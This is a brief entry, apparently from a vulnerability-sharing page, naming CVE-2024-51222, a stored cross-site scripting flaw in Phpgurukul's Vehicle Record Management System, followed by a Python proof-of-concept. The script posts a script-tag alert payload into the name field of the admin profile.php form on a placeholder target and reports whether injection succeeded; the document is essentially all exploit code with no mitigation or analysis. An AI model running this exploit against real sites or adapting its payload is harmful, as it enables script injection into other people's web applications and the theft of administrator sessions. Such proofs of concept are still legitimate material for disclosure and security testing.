CVE-2024-51222 Phpgurukul车辆管理系统存储型XSS漏洞

import requests # Target URL of the vulnerable component url = "http://target-ip/VehicleRecordManagement/admin/profile.php" # Malicious payload to be injected into the Name parameter xss_payload = "<script>alert('CVE-2024-51222 XSS');</script>" # Data payload for the POST request # Note: Actual parameter names may vary depending on the form implementation payload_data = { "name": xss_payload, "submit": "Update" } try: # Sending the POST request to inject the payload response = requests.post(url, data=payload_data) if response.status_code == 200: print("Payload injected successfully.") print("Check the admin profile page to verify execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")